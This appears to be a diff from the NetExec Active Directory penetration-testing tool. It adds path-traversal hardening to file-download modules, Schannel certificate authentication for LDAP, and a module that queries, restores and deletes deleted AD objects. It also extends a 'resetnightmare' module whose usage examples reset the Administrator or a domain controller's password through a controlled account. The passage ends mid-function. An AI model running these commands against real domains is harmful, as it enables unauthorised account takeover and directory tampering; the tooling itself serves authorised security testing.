i_interface = self.__dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
|
||||
if self.__currentprotocol == "smb":
|
||||
flag, self.__stringBinding = dcom_FirewallChecker(i_interface, self.__remoteHost, self.__timeout)
|
||||
flag, self.__stringBinding = dcom_FirewallChecker(i_interface, self.__remoteHost, self.__timeout, self.logger)
|
||||
if not flag or not self.__stringBinding:
|
||||
error_msg = f'RDP-WMI: Dcom initialization failed on connection with stringbinding: "{self.__stringBinding}", please increase the timeout with the module option "DCOM-TIMEOUT=10". If it\'s still failing maybe something is blocking the RPC connection, please try to use "-o" with "METHOD=smb"'
|
||||
|
||||
|
||||
@@ -1,7 +1,9 @@
|
||||
from os import makedirs
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.path import sanitize_path_component
|
||||
from nxc.paths import NXC_PATH
|
||||
from os.path import join, abspath
|
||||
from os.path import join
|
||||
from pathlib import Path
|
||||
from impacket.dcerpc.v5 import rrp
|
||||
from impacket.dcerpc.v5.rrp import DCERPCSessionError
|
||||
from impacket.examples.secretsdump import RemoteOperations
|
||||
@@ -73,8 +75,11 @@ class NXCModule:
|
||||
|
||||
# Formatting the destination filename
|
||||
file_path = path.split("$")[-1].replace("/", "_")
|
||||
filename = f"{connection.host}_{username if username else sid_directory.get_longname()}_recyclebin_{file_path}"
|
||||
dest_path = abspath(join(export_path, filename))
|
||||
filename = sanitize_path_component(f"{connection.host}_{username if username else sid_directory.get_longname()}_recyclebin_{file_path}")
|
||||
dest_path = Path(export_path, filename).resolve()
|
||||
if Path(export_path).resolve() not in dest_path.parents:
|
||||
context.log.fail(f"Path traversal detected in {filename!r}, skipping")
|
||||
continue
|
||||
try:
|
||||
with open(dest_path, "wb+") as file:
|
||||
connection.conn.getFile("C$", path, file.write)
|
||||
|
||||
@@ -1,4 +1,3 @@
|
||||
import sys
|
||||
from impacket.krb5 import constants
|
||||
from impacket.krb5.types import Principal
|
||||
from impacket.krb5.kerberosv5 import getKerberosTGT, KerberosError
|
||||
@@ -26,6 +25,7 @@ class NXCModule:
|
||||
self.new_password = None
|
||||
self.upn_user = None
|
||||
self.upn_password = None
|
||||
self.upn_nthash = None
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
@@ -36,19 +36,22 @@ class NXCModule:
|
||||
NEW_PASSWORD New password to set on TARGET
|
||||
UPN_USER sAMAccountName of a controlled account you can write a userPrincipalName to (not the login account)
|
||||
UPN_PASSWORD Cleartext password of UPN_USER
|
||||
UPN_NTHASH NT Hash of UPN_USER
|
||||
|
||||
Examples:
|
||||
netexec ldap <ip> -u <username> -p <password> -M resetnightmare -o TARGET=Administrator NEW_PASSWORD='NewPass!' UPN_USER=controlled UPN_PASSWORD='Passw0rd!'
|
||||
netexec ldap <ip> -u <username> -p <password> -M resetnightmare -o TARGET=Administrator NEW_PASSWORD='NewPass!' UPN_USER=controlled UPN_NTHASH='31d6cfe0d16ae931b73c59d7e0c089c0'
|
||||
netexec ldap <ip> -u <username> -p <password> -M resetnightmare -o TARGET=DC01$ NEW_PASSWORD='NewPass!' UPN_USER=controlled$ UPN_PASSWORD='Passw0rd!'
|
||||
"""
|
||||
self.target = module_options.get("TARGET")
|
||||
self.new_password = module_options.get("NEW_PASSWORD")
|
||||
self.upn_user = module_options.get("UPN_USER")
|
||||
self.upn_password = module_options.get("UPN_PASSWORD")
|
||||
self.upn_password = module_options.get("UPN_PASSWORD", "")
|
||||
self.upn_nthash = module_options.get("UPN_NTHASH", "")
|
||||
|
||||
if not all([self.target, self.new_password, self.upn_user, self.upn_password]):
|
||||
context.log.fail("TARGET, NEW_PASSWORD, UPN_USER and UPN_PASSWORD are all required")
|
||||
sys.exit(1)
|
||||
if not all([self.target, self.new_password, self.upn_user, self.upn_password or self.upn_nthash]):
|
||||
context.log.fail("TARGET, NEW_PASSWORD, UPN_USER and either UPN_PASSWORD or UPN_NTHASH are all required")
|
||||
return False
|
||||
|
||||
def resolve_account(self, sam):
|
||||
response = self.connection.search(searchFilter=f"(sAMAccountName={sam})", attributes=["distinguishedName"])
|
||||
@@ -85,7 +88,7 @@ class NXCModule:
|
||||
client = Principal(self.target, type=constants.PrincipalNameType.NT_ENTERPRISE.value)
|
||||
kdc = self.connection.kdcHost or self.connection.host
|
||||
try:
|
||||
tgt, cipher, _, session_key = getKerberosTGT(client, self.upn_password, self.connection.domain, "", "", "", kdcHost=kdc, serverName=KRB5_KPASSWD_TGT_SPN)
|
||||
tgt, cipher, _, session_key = getKerberosTGT(client, self.upn_password, self.connection.domain, "", self.upn_nthash, "", kdcHost=kdc, serverName=KRB5_KPASSWD_TGT_SPN)
|
||||
except (KerberosError, OSError) as e:
|
||||
self.context.log.fail(f"Failed to request change-password TGT: {e}")
|
||||
return None
|
||||
|
||||
@@ -1,8 +1,9 @@
|
||||
import ntpath
|
||||
import os
|
||||
from os.path import join, getsize, exists
|
||||
from pathlib import PurePosixPath
|
||||
from pathlib import Path
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.path import sanitize_path_component
|
||||
from nxc.paths import NXC_PATH
|
||||
|
||||
|
||||
@@ -85,11 +86,10 @@ class NXCModule:
|
||||
continue
|
||||
|
||||
remote_file_path = ntpath.join(screenshot_path, remote_file_name)
|
||||
# replace \\ with underscores and ignore absolute path or path traversal attempts
|
||||
clean_screenshot_path = "_".join(p for p in PurePosixPath(screenshot_path.replace("\\", "/")).parts if p not in ("..", ".", "/"))
|
||||
clean_file = "_".join(p for p in PurePosixPath(remote_file_name.replace("\\", "/")).parts if p not in ("..", ".", "/"))
|
||||
|
||||
local_file_path = join(user_output_dir, f"{clean_screenshot_path}_{clean_file}")
|
||||
local_file_path = Path(user_output_dir, sanitize_path_component(f"{screenshot_path}_{remote_file_name}")).resolve()
|
||||
if Path(user_output_dir).resolve() not in local_file_path.parents:
|
||||
context.log.fail(f"Path traversal detected in {remote_file_path!r}, skipping")
|
||||
continue
|
||||
context.log.debug(f"{local_file_path=}")
|
||||
|
||||
try:
|
||||
|
||||
+17
-14
@@ -2,9 +2,10 @@ import json
|
||||
import errno
|
||||
from os.path import abspath, join, exists, splitext, getsize
|
||||
from os import makedirs, remove, stat
|
||||
from pathlib import Path, PurePosixPath
|
||||
from pathlib import Path
|
||||
import time
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.path import sanitize_path_component
|
||||
from nxc.paths import NXC_PATH
|
||||
from nxc.protocols.smb.remotefile import RemoteFile
|
||||
from impacket.smb3structs import FILE_READ_DATA
|
||||
@@ -172,13 +173,13 @@ class SMBSpiderPlus:
|
||||
def get_file_save_path(self, remote_file):
|
||||
r"""Processes the remote file path to extract the filename and the folder path where the file should be saved locally.
|
||||
|
||||
Creates a PurePosixPath and replaces UNC parts, then cleans it of any path traversal (see issue #1120)
|
||||
Sanitizes each local path component and verifies containment in the output folder.
|
||||
"""
|
||||
self.logger.debug(f"Remote file: {remote_file}")
|
||||
raw_path = PurePosixPath(remote_file._RemoteFile__share, remote_file._RemoteFile__fileName.replace("\\", "/"))
|
||||
self.logger.debug(f"Raw path: {remote_file}")
|
||||
clean_parts = [p for p in raw_path.parts if p not in ("..", ".")]
|
||||
resolved = Path(self.output_folder).joinpath(self.host, *clean_parts)
|
||||
clean_parts = [sanitize_path_component(part) for part in remote_file._RemoteFile__fileName.replace("\\", "/").split("/") if part]
|
||||
resolved = Path(self.output_folder).joinpath(sanitize_path_component(self.host), sanitize_path_component(remote_file._RemoteFile__share), *clean_parts).resolve()
|
||||
if Path(self.output_folder).resolve() not in resolved.parents:
|
||||
raise ValueError(f"Path traversal detected in {remote_file!s}")
|
||||
self.logger.debug(f"Resolved path: {resolved}")
|
||||
return str(resolved.parent), resolved.name
|
||||
|
||||
@@ -308,7 +309,12 @@ class SMBSpiderPlus:
|
||||
return
|
||||
|
||||
# Check if the file is already downloaded and up-to-date.
|
||||
file_dir, file_name = self.get_file_save_path(remote_file)
|
||||
try:
|
||||
file_dir, file_name = self.get_file_save_path(remote_file)
|
||||
except ValueError as e:
|
||||
self.logger.fail(str(e))
|
||||
self.stats["num_get_fail"] += 1
|
||||
return
|
||||
download_path = join(file_dir, file_name)
|
||||
needs_update_flag = False
|
||||
if exists(download_path):
|
||||
@@ -324,7 +330,7 @@ class SMBSpiderPlus:
|
||||
try:
|
||||
self.logger.info(f'Downloading file "{file_path}" => "{download_path}".')
|
||||
remote_file.open_file()
|
||||
self.save_file(remote_file, share_name)
|
||||
self.save_file(remote_file, share_name, download_path)
|
||||
remote_file.close()
|
||||
download_success = True
|
||||
except SessionError as e:
|
||||
@@ -341,7 +347,7 @@ class SMBSpiderPlus:
|
||||
else:
|
||||
self.stats["num_get_fail"] += 1
|
||||
|
||||
def save_file(self, remote_file, share_name):
|
||||
def save_file(self, remote_file, share_name, download_path):
|
||||
"""Reads the `remote_file` in chunks using the `read_chunk` method.
|
||||
|
||||
Each chunk is then written to the local file until the entire file is saved.
|
||||
@@ -350,12 +356,9 @@ class SMBSpiderPlus:
|
||||
# Reset the remote_file to point to the beginning of the file.
|
||||
remote_file.seek(0, 0)
|
||||
|
||||
folder, filename = self.get_file_save_path(remote_file)
|
||||
download_path = join(folder, filename)
|
||||
|
||||
# Create the subdirectories based on the share name and file path.
|
||||
self.logger.debug(f"Creating folder '{folder}'")
|
||||
make_dirs(folder)
|
||||
self.logger.debug(f"Creating folder '{Path(download_path).parent}'")
|
||||
make_dirs(Path(download_path).parent)
|
||||
|
||||
try:
|
||||
with open(download_path, "wb") as fd:
|
||||
|
||||
@@ -0,0 +1,134 @@
|
||||
from impacket.ldap.ldap import LDAPSessionError, MODIFY_DELETE, MODIFY_REPLACE
|
||||
from impacket.ldap.ldapasn1 import Control, SimplePagedResultsControl
|
||||
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""Module by Fabrizzio: @Fabrizzio53"""
|
||||
|
||||
name = "tombstone"
|
||||
description = "Query, restore and delete AD objects"
|
||||
supported_protocols = ["ldap"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
ACTION Specify the action to execute: query, restore or delete. Default is query.
|
||||
ID The id of which object you want to restore.
|
||||
DN The DN of which object you want to delete.
|
||||
|
||||
Usage:
|
||||
nxc ldap $DC-IP -u Username -p Password -M tombstone
|
||||
nxc ldap $DC-IP -u Username -p Password -M tombstone -o ACTION=query
|
||||
nxc ldap $DC-IP -u Username -p Password -M tombstone -o ACTION=restore ID=5ad162c9-97b1-4a90-a17c-5c2aedb7d1e3
|
||||
nxc ldap $DC-IP -u Username -p Password -M tombstone -o ACTION=delete DN="CN=test,OU=Users,DC=test,DC=local"
|
||||
"""
|
||||
self.action = module_options.get("ACTION", "query").lower()
|
||||
self.id = module_options.get("ID", "")
|
||||
self.delete_dn = module_options.get("DN", "")
|
||||
if self.action == "restore" and not self.id:
|
||||
context.log.fail("ID is necessary when calling tombstone with the restore action")
|
||||
return False
|
||||
|
||||
if self.action == "delete" and not self.delete_dn:
|
||||
context.log.fail("DN is necessary when calling tombstone with the delete action")
|
||||
return False
|
||||
|
||||
def on_login(self, context, connection):
|
||||
if self.action == "query":
|
||||
self.query_deleted_objects(context, connection)
|
||||
elif self.action == "delete":
|
||||
self.delete_object(context, connection)
|
||||
elif self.action == "restore":
|
||||
self.restore_deleted_object(context, connection)
|
||||
else:
|
||||
context.log.fail(f'The action "{self.action}" is not valid, use only one available option (query, restore, delete)')
|
||||
|
||||
def show_deleted_control(self):
|
||||
return Control().setComponents("1.2.840.113556.1.4.417", True)
|
||||
|
||||
def search_deleted_objects(self, connection):
|
||||
return parse_result_attributes(
|
||||
connection.search(
|
||||
baseDN=f"CN=Deleted Objects,{connection.baseDN}",
|
||||
searchFilter="(isDeleted=TRUE)",
|
||||
attributes=[],
|
||||
searchControls=[self.show_deleted_control(), SimplePagedResultsControl(criticality=True, size=1000)],
|
||||
)
|
||||
)
|
||||
|
||||
def restore_deleted_object(self, context, connection):
|
||||
object_dn = ""
|
||||
original_dn = ""
|
||||
|
||||
context.log.highlight(f"Trying to find object with given id {self.id}")
|
||||
|
||||
context.log.debug("Search Filter=(isDeleted=TRUE)")
|
||||
context.log.highlight("")
|
||||
|
||||
for entries in self.search_deleted_objects(connection):
|
||||
if entries.get("distinguishedName", "").casefold() == f"CN=Deleted Objects,{connection.baseDN}".casefold():
|
||||
continue
|
||||
|
||||
if self.id.casefold() == entries.get("name", "").rsplit(":", 1)[-1].casefold():
|
||||
context.log.highlight(f"{'sAMAccountName':<20}: {entries.get('sAMAccountName', '')}")
|
||||
context.log.highlight(f"{'description':<20}: {entries.get('description', '')}")
|
||||
context.log.highlight(f"{'dn':<20}: {entries.get('distinguishedName', '')}")
|
||||
context.log.highlight(f"{'ID':<20}: {entries.get('name', '').rsplit(':', 1)[-1]}")
|
||||
context.log.highlight(f"{'isDeleted':<20}: {entries.get('isDeleted', '')}")
|
||||
context.log.highlight(f"{'lastKnownParent':<20}: {entries.get('lastKnownParent', '')}")
|
||||
context.log.highlight("")
|
||||
|
||||
object_dn = entries.get("distinguishedName", "")
|
||||
original_dn = object_dn.rsplit("\\0ADEL:", 1)[0] + "," + entries.get("lastKnownParent", "")
|
||||
break
|
||||
|
||||
if not original_dn:
|
||||
context.log.fail(f"The object was not found with id {self.id}.")
|
||||
return False
|
||||
|
||||
try:
|
||||
connection.ldap_connection.modify(dn=object_dn, modifications={"isDeleted": [(MODIFY_DELETE, [])], "distinguishedName": [(MODIFY_REPLACE, [original_dn])]}, controls=[self.show_deleted_control()])
|
||||
context.log.highlight(f"Success {original_dn} restored")
|
||||
except LDAPSessionError as e:
|
||||
context.log.fail(f"Error at trying to recover the object {e}")
|
||||
return False
|
||||
|
||||
def delete_object(self, context, connection):
|
||||
context.log.highlight(f"Trying to delete {self.delete_dn}")
|
||||
|
||||
try:
|
||||
connection.ldap_connection.delete(dn=self.delete_dn)
|
||||
context.log.highlight("")
|
||||
context.log.highlight(f'Success, "{self.delete_dn}" deleted')
|
||||
except LDAPSessionError as e:
|
||||
context.log.highlight("")
|
||||
context.log.fail(f'Error when trying to delete "{self.delete_dn}" {e}')
|
||||
|
||||
def query_deleted_objects(self, context, connection):
|
||||
context.log.debug("Search Filter=(isDeleted=TRUE)")
|
||||
resp_parsed = self.search_deleted_objects(connection)
|
||||
|
||||
if not resp_parsed:
|
||||
context.log.highlight("Could not find the Deleted Objects container, AD recycle bin might not be active")
|
||||
return False
|
||||
|
||||
resp_parsed = [entries for entries in resp_parsed if entries.get("distinguishedName", "").casefold() != f"CN=Deleted Objects,{connection.baseDN}".casefold()]
|
||||
if not resp_parsed:
|
||||
context.log.highlight("No objects are in a tombstone state")
|
||||
return False
|
||||
|
||||
context.log.highlight("")
|
||||
|
||||
for entries in resp_parsed:
|
||||
context.log.highlight(f"{'sAMAccountName':<20}: {entries.get('sAMAccountName', '')}")
|
||||
context.log.highlight(f"{'description':<20}: {entries.get('description', '')}")
|
||||
context.log.highlight(f"{'dn':<20}: {entries.get('distinguishedName', '')}")
|
||||
context.log.highlight(f"{'ID':<20}: {entries.get('name', '').rsplit(':', 1)[-1]}")
|
||||
context.log.highlight(f"{'isDeleted':<20}: {entries.get('isDeleted', '')}")
|
||||
context.log.highlight(f"{'lastKnownParent':<20}: {entries.get('lastKnownParent', '')}")
|
||||
context.log.highlight("")
|
||||
|
||||
context.log.highlight(f"Found {len(resp_parsed)} deleted objects")
|
||||
@@ -3,6 +3,7 @@ from datetime import datetime
|
||||
from impacket.ldap import ldap, ldapasn1
|
||||
from impacket.ldap.ldap import LDAPSearchError
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.path import sanitize_path_component
|
||||
from nxc.paths import NXC_PATH
|
||||
|
||||
|
||||
@@ -91,7 +92,7 @@ class NXCModule:
|
||||
|
||||
def create_log_file(self, host, time):
|
||||
"""Create a log file for dumping user descriptions."""
|
||||
logfile = f"UserDesc-{host}-{time}.log"
|
||||
logfile = sanitize_path_component(f"UserDesc-{host}-{time}.log")
|
||||
logfile = Path(NXC_PATH).joinpath(logfile)
|
||||
|
||||
self.context.log.info(f"Creating log file '{logfile}'")
|
||||
|
||||
+5
-1
@@ -104,6 +104,10 @@ def main():
|
||||
nxc_logger.fail("Password is required, even if a key file is used - if no passphrase for key, use `-p ''`")
|
||||
exit(1)
|
||||
|
||||
if args.protocol == "ldap" and args.schannel and not (args.pfx_cert or args.pfx_base64 or args.pem_cert):
|
||||
nxc_logger.fail("--schannel requires a certificate: --pfx-cert, --pfx-base64, or --pem-cert with --pem-key")
|
||||
exit(1)
|
||||
|
||||
if args.use_kcache and not os.environ.get("KRB5CCNAME"):
|
||||
nxc_logger.error("KRB5CCNAME environment variable is not set")
|
||||
exit(1)
|
||||
@@ -197,7 +201,7 @@ def main():
|
||||
proto_module_paths.append(modules[m]["path"])
|
||||
protocol_object.module_paths = proto_module_paths
|
||||
|
||||
if args.protocol == "rdp" and args.execute:
|
||||
if args.protocol == "rdp" and (args.execute or args.ps_execute):
|
||||
ans = input(highlight("[!] Executing remote command via RDP will disconnect the Windows session (not log off) if the targeted user is connected via RDP, do you want to continue ? [Y/n] ", "red"))
|
||||
if ans.lower() not in ["y", "yes", ""]:
|
||||
exit(1)
|
||||
|
||||
+14
-29
@@ -40,6 +40,17 @@ def write_csv(filename, headers, entries):
|
||||
csv_file.writerow(entry)
|
||||
|
||||
|
||||
def host_csv_headers(hosts_table, mode="simple"):
|
||||
"""Return the CSV header for a hosts export, taken from the protocol's own HostsTable.
|
||||
|
||||
"simple" keeps the first 8 columns, the historical width of the SMB export, "detailed" returns them all.
|
||||
"""
|
||||
columns = tuple(col.name for col in hosts_table.columns)
|
||||
if mode == "detailed":
|
||||
return columns
|
||||
return columns[:8]
|
||||
|
||||
|
||||
def write_list(filename, entries):
|
||||
"""Writes a file with a simple list"""
|
||||
with open(os.path.expanduser(filename), "w") as export_file:
|
||||
@@ -169,39 +180,13 @@ class DatabaseNavigator(cmd.Cmd):
|
||||
print("[-] invalid arguments, export hosts <simple|detailed|signing> <filename>")
|
||||
return
|
||||
|
||||
csv_header_simple = (
|
||||
"id",
|
||||
"ip",
|
||||
"hostname",
|
||||
"domain",
|
||||
"os",
|
||||
"dc",
|
||||
"smbv1",
|
||||
"signing",
|
||||
)
|
||||
csv_header_detailed = (
|
||||
"id",
|
||||
"ip",
|
||||
"hostname",
|
||||
"domain",
|
||||
"os",
|
||||
"dc",
|
||||
"smbv1",
|
||||
"signing",
|
||||
"spooler",
|
||||
"zerologon",
|
||||
"petitpotam",
|
||||
)
|
||||
filename = line[2]
|
||||
|
||||
if line[1].lower() == "simple":
|
||||
hosts = self.db.get_hosts()
|
||||
simple_hosts = [host[:8] for host in hosts]
|
||||
write_csv(filename, csv_header_simple, simple_hosts)
|
||||
# TODO: maybe add more detail like who is an admin on it, shares discovered, etc
|
||||
csv_header = host_csv_headers(self.db.HostsTable, "simple")
|
||||
write_csv(filename, csv_header, [host[: len(csv_header)] for host in self.db.get_hosts()])
|
||||
elif line[1].lower() == "detailed":
|
||||
hosts = self.db.get_hosts()
|
||||
write_csv(filename, csv_header_detailed, hosts)
|
||||
write_csv(filename, host_csv_headers(self.db.HostsTable, "detailed"), self.db.get_hosts())
|
||||
elif line[1].lower() == "signing":
|
||||
hosts = self.db.get_hosts("signing")
|
||||
signing_hosts = [host[1] for host in hosts]
|
||||
|
||||
+72
-43
@@ -41,7 +41,8 @@ from impacket.ntlm import getNTLMSSPType1
|
||||
from nxc.config import process_secret, host_info_colors
|
||||
from nxc.connection import connection
|
||||
from nxc.helpers.bloodhound import add_user_bh
|
||||
from nxc.helpers.misc import get_bloodhound_info, convert, d2b, parse_argument
|
||||
from nxc.helpers.pfx import certificate_options
|
||||
from nxc.helpers.misc import get_bloodhound_info, convert, d2b, parse_argument, sanitize_dns
|
||||
from nxc.logger import NXCAdapter
|
||||
from nxc.protocols.ldap.bloodhound import BloodHound, resolve_collection_methods
|
||||
from nxc.protocols.ldap.gmsa import MSDS_MANAGEDPASSWORD_BLOB
|
||||
@@ -65,6 +66,9 @@ ldap_error_status = {
|
||||
"KDC_ERR_PREAUTH_FAILED": "KDC_ERR_PREAUTH_FAILED",
|
||||
}
|
||||
|
||||
# LDAP authenticationChoice sent to the DC, as displayed to the operator
|
||||
auth_methods = {"sasl": "NTLM", "simple": "SIMPLE bind", "external": "Schannel"}
|
||||
|
||||
|
||||
class ldap(connection):
|
||||
def __init__(self, args, db, host):
|
||||
@@ -133,18 +137,12 @@ class ldap(connection):
|
||||
return True
|
||||
|
||||
def get_ldap_username(self):
|
||||
extended_request = ldapasn1_impacket.ExtendedRequest()
|
||||
extended_request["requestName"] = "1.3.6.1.4.1.4203.1.11.3" # whoami
|
||||
|
||||
response = self.ldap_connection.sendReceive(extended_request)
|
||||
for message in response:
|
||||
search_result = message["protocolOp"].getComponent()
|
||||
if search_result["resultCode"] == ldapasn1_impacket.ResultCode("success"):
|
||||
response_value = search_result["responseValue"]
|
||||
if response_value.hasValue():
|
||||
value = response_value.asOctets().decode(response_value.encoding)[2:]
|
||||
return value.split("\\")[1]
|
||||
return ""
|
||||
try:
|
||||
# impacket returns the raw RFC 4532 identity, "u:DOMAIN\user" on a DC
|
||||
return self.ldap_connection.whoami().split("\\")[-1]
|
||||
except ldap_impacket.LDAPSessionError as e:
|
||||
self.logger.debug(f"LDAP whoami request failed: {e}")
|
||||
return ""
|
||||
|
||||
def check_ldap_signing(self):
|
||||
self.signing_required = None
|
||||
@@ -160,6 +158,8 @@ class ldap(connection):
|
||||
self.signing_required = True
|
||||
else:
|
||||
self.logger.debug(f"LDAPSessionError while checking for signing requirements (likely NTLM disabled): {e!s}")
|
||||
except OSError as e:
|
||||
self.logger.debug(f"Connection error while checking LDAP signing on {self.host}: {e!s}")
|
||||
|
||||
def check_ldaps_cbt(self):
|
||||
self.cbt_status = "Never"
|
||||
@@ -224,13 +224,13 @@ class ldap(connection):
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Failed to enumerate host info for {self.host}, error: {e!s}")
|
||||
|
||||
self.logger.debug(f"Target: {target}; target_domain: {target_domain}; base_dn: {base_dn}")
|
||||
self.target = target
|
||||
self.targetDomain = target_domain
|
||||
self.target = sanitize_dns(target or self.host, self.logger)
|
||||
self.targetDomain = sanitize_dns(target_domain or (target.split(".", 1)[1] if "." in target else target), self.logger)
|
||||
self.baseDN = base_dn
|
||||
self.logger.debug(f"Target: {target}; target_domain: {target_domain}; base_dn: {base_dn}")
|
||||
|
||||
# Parse hostname and remoteName
|
||||
self.hostname = self.target.split(".")[0].upper() if "." in self.target else self.target
|
||||
self.hostname = sanitize_dns(self.target.split(".", 1)[0].upper() or self.host, self.logger)
|
||||
self.remoteName = self.target
|
||||
|
||||
# Parse NTLM challenge
|
||||
@@ -341,7 +341,7 @@ class ldap(connection):
|
||||
self.logger.extra["port"] = "636" if self.port == 636 else "389"
|
||||
proto = "ldaps" if self.port == 636 else "ldap"
|
||||
ldap_url = f"{proto}://{self.target}"
|
||||
self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} - {self.host} [1]")
|
||||
self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} - {self.host} using Kerberos")
|
||||
self.ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host, timeout=self.args.ldap_timeout)
|
||||
self.ldap_connection.kerberosLogin(username, password, domain, self.lmhash, self.nthash, aesKey, kdcHost=kdcHost, useCache=useCache)
|
||||
if self.username == "":
|
||||
@@ -400,7 +400,7 @@ class ldap(connection):
|
||||
self.logger.extra["port"] = "636"
|
||||
self.port = 636
|
||||
ldaps_url = f"ldaps://{self.target}"
|
||||
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} [2]")
|
||||
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} using Kerberos")
|
||||
self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host, timeout=self.args.ldap_timeout)
|
||||
self.ldap_connection.kerberosLogin(username, password, domain, self.lmhash, self.nthash, aesKey, kdcHost=kdcHost, useCache=useCache)
|
||||
if self.username == "":
|
||||
@@ -458,21 +458,42 @@ class ldap(connection):
|
||||
hash_asreproast.write(f"{hash_tgt}\n")
|
||||
return False
|
||||
|
||||
cert_options = {}
|
||||
cert_tmp_file = None
|
||||
if self.args.schannel:
|
||||
try:
|
||||
cert_options, cert_tmp_file = certificate_options(self.args)
|
||||
except (OSError, ValueError) as e:
|
||||
self.logger.fail(f"Failed to load the certificate material: {e}")
|
||||
return False
|
||||
|
||||
try:
|
||||
# Connect to LDAP
|
||||
self.logger.extra["protocol"] = "LDAPS" if self.port == 636 else "LDAP"
|
||||
self.logger.extra["port"] = "636" if self.port == 636 else "389"
|
||||
proto = "ldaps" if self.port == 636 else "ldap"
|
||||
ldap_url = f"{proto}://{self.target}"
|
||||
self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} - {self.host} [3]")
|
||||
self.ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host, signing=self.auth_choice != "simple", timeout=self.args.ldap_timeout)
|
||||
self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash, authenticationChoice=self.auth_choice)
|
||||
self.check_if_admin()
|
||||
self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.password}")
|
||||
self.db.add_credential("plaintext", domain, self.username, self.password)
|
||||
authentication_choice = "external" if self.args.schannel else self.auth_choice
|
||||
self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} - {self.host} using {auth_methods[authentication_choice]}")
|
||||
self.ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host, signing=self.auth_choice != "simple", timeout=self.args.ldap_timeout, **cert_options)
|
||||
self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash, authenticationChoice=authentication_choice)
|
||||
|
||||
# Prepare success credential text
|
||||
self.logger.success(f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}")
|
||||
if self.args.schannel:
|
||||
# The certificate is mapped to an account server-side, so whoami is the only way to know who we are
|
||||
netbios_domain, _, self.username = self.ldap_connection.whoami().removeprefix("u:").partition("\\")
|
||||
# The mapped account can belong to another domain of the forest, and whoami only returns its NetBIOS domain name
|
||||
cross_ref = parse_result_attributes(self.search(f"(&(objectClass=crossRef)(nETBIOSName={netbios_domain}))", ["dnsRoot"], baseDN=f"CN=Partitions,{self.configuration_context}"))
|
||||
self.domain = cross_ref[0]["dnsRoot"] if cross_ref else netbios_domain
|
||||
|
||||
self.check_if_admin()
|
||||
|
||||
# A certificate bind has no secret to store, the account comes from the certificate mapping
|
||||
if not self.args.schannel:
|
||||
self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.password}")
|
||||
self.db.add_credential("plaintext", domain, self.username, self.password)
|
||||
|
||||
used_certificate = " from certificate" if self.args.schannel else f":{process_secret(self.password)}"
|
||||
self.logger.success(f"{self.domain}\\{self.username}{used_certificate} {self.mark_pwned()}")
|
||||
|
||||
if self.username != "":
|
||||
add_user_bh(self.username, self.domain, self.logger, self.config)
|
||||
@@ -480,6 +501,13 @@ class ldap(connection):
|
||||
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
|
||||
return True
|
||||
except ldap_impacket.LDAPSessionError as e:
|
||||
if self.args.schannel:
|
||||
# The error mapping below reads NTLM status codes, which a certificate bind never returns
|
||||
if "did not receive any credentials via TLS" in str(e) or "connection is anonymous" in str(e):
|
||||
self.logger.fail("Schannel authentication failed: the DC did not map the certificate to an account")
|
||||
else:
|
||||
self.logger.fail(f"Schannel authentication failed: {e}")
|
||||
return False
|
||||
if str(e).find("strongerAuthRequired") >= 0:
|
||||
# This should actually not happen anymore as impacket now supports LDAP signing/sealing via GSSAPI
|
||||
if self.args.simple_bind:
|
||||
@@ -493,7 +521,7 @@ class ldap(connection):
|
||||
self.logger.extra["port"] = "636"
|
||||
self.port = 636
|
||||
ldaps_url = f"ldaps://{self.target}"
|
||||
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} [4]")
|
||||
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} using {auth_methods[self.auth_choice]}")
|
||||
self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host, timeout=self.args.ldap_timeout)
|
||||
self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash, authenticationChoice=self.auth_choice)
|
||||
self.check_if_admin()
|
||||
@@ -524,6 +552,9 @@ class ldap(connection):
|
||||
except OSError as e:
|
||||
self.logger.fail(f"{self.domain}\\{self.username}:{process_secret(self.password)} {'Error connecting to the domain, are you sure LDAP service is running on the target?'} \nError: {e}")
|
||||
return False
|
||||
finally:
|
||||
if cert_tmp_file and os.path.exists(cert_tmp_file):
|
||||
os.remove(cert_tmp_file)
|
||||
|
||||
def hash_login(self, domain, username, ntlm_hash):
|
||||
self.logger.extra["protocol"] = "LDAP"
|
||||
@@ -560,7 +591,7 @@ class ldap(connection):
|
||||
self.logger.extra["port"] = "636" if self.port == 636 else "389"
|
||||
proto = "ldaps" if self.port == 636 else "ldap"
|
||||
ldaps_url = f"{proto}://{self.target}"
|
||||
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host}")
|
||||
